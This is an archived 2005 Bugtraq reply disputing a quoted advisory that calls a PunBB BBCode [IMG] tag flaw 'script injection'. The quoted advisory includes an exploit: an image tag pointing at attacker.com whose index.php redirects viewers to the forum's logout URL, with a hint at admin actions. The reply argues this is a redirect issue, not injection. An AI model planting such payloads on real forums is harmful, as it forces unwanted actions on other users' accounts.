Re: PunBB BBCode IMG Tag Script Injection Vulnerability

From: Aaron Horst (anthrax101_at_gmail.com)
Date: 08/30/05

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    Date: Mon, 29 Aug 2005 21:02:04 -0400
    To: bugtraq@securityfocus.com
    
    

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    While this can have some drastic implications, this is not actually
    script injection. You are redirecting the browser, no extra code gets
    executed in the context of the PHP processor.

    Any piece of software that allows for linking with offsite image
    files will be vulnerable to this, not simply phpBB or PunBB. The
    browser itself is interpreting the redirect request and sending
    another request for the overall web page. This is effectively
    impossible to filter out on the server side while still allowing
    offsite linking, the only real solution is to prohibit anything that
    is not controlled by the software.

    AnthraX101

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    On 29 Aug 2005 08:49:29 -0000, y3dips@echo.or.id <y3dips@echo.or.id> wrote:
    > ECHO_ADV_22$2005
    >
    > ---------------------------------------------------------------------------
    > PunBB BBCode IMG Tag Script Injection Vulnerability
    > ---------------------------------------------------------------------------
    >
    > Author: y3dips
    > Date: August, 20th 2005
    > Location: Indonesia, Jakarta
    > Web: http://echo.or.id/adv/adv22-y3dips-2005.txt
    >
    > ---------------------------------------------------------------------------
    >
    > Affected software description:
    > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    >
    > Version: 1.2.6 and most likely below
    > url : http://punbb.org
    > Author: Rickard Andersson
    > Description:
    >
    > PunBB is a fast and lightweight PHP powered discussion board. It is released under the GNU Public License. Its primary goal is to be a faster, smaller and less graphic alternative to otherwise excellent discussion boards such as phpBB, Invision Power Board or vBulletin. PunBB has fewer features than many other discussion boards, but is generally faster and outputs smaller pages.
    >
    > ---------------------------------------------------------------------------
    >
    > Vulnerabilities:
    > ~~~~~~~~~~~~~~~~
    >
    > According to the issue that affect PHPBB discovered by easyex recently at http://www.securityfocus.com/bid/14555/info , so it also affected in another bulletin board or forum that allow BBcode such as PunBB.
    >
    > The issue is due to a failure of the application to properly sanitize user-supplied input in bbcode '[IMG]' tags included in a message or user signature (if allowed , default is off) .
    >
    > Successful exploitation of this vulnerability could permit the injection of arbitrary HTML or script code into the browser of an unsuspecting user in the context of the affected site.
    >
    >
    > Exploit:
    > ~~~~~~~~
    >
    > just post a message that include
    >
    > [img]http://attacker.com/yuckfou.png[/img]
    >
    > yuckfou.png is a folder , and include some "index.php" file
    >
    > ---- index.php ----
    >
    > <?php
    > header("Location: http://target.com/punbb1.2.6/login.php?action=out&id=2"); ?>
    >
    > ---- eof ------
    >
    > so , user with id=2 if open the topics with attacker message include will automatically "logout"
    >
    > maybe some other interesting in command could put in "index.php" with admin priveledged *_^
    >
    >
    > THATS all
    >
    > Fix
    > ~~~
    >
    > Vendor allready contacted but no responses
    >
    > Shoutz:
    >
    > ~~~~~~~
    >
    >
    >
    > ~ m0by, the_day, comex, z3r0byt3, K-159, c-a-s-e, S`to @T echo/staff
    > ~ waraxe , LINUX, Heintz , slimjim100 , lunix, easyex all member of waraxe
    >
    > ~ newbie_hacker@yahoogroups.com ,
    >
    > ~ #e-c-h-o & #aikmel @DALNET
    >
    > Contact:
    > ~~~~~~~~
    >
    > y3dips || echo|staff
    > Homepage: http://y3dips.echo.or.id/
    >

    -- 
    AnthraX101 -- PGP Key ID# 0x4CD6D0BD
    Fingerprint:
    8161 D008 3DAB 86C1 2CA3  AEDE 0E21 DBDE 4CD6 D0BD
    

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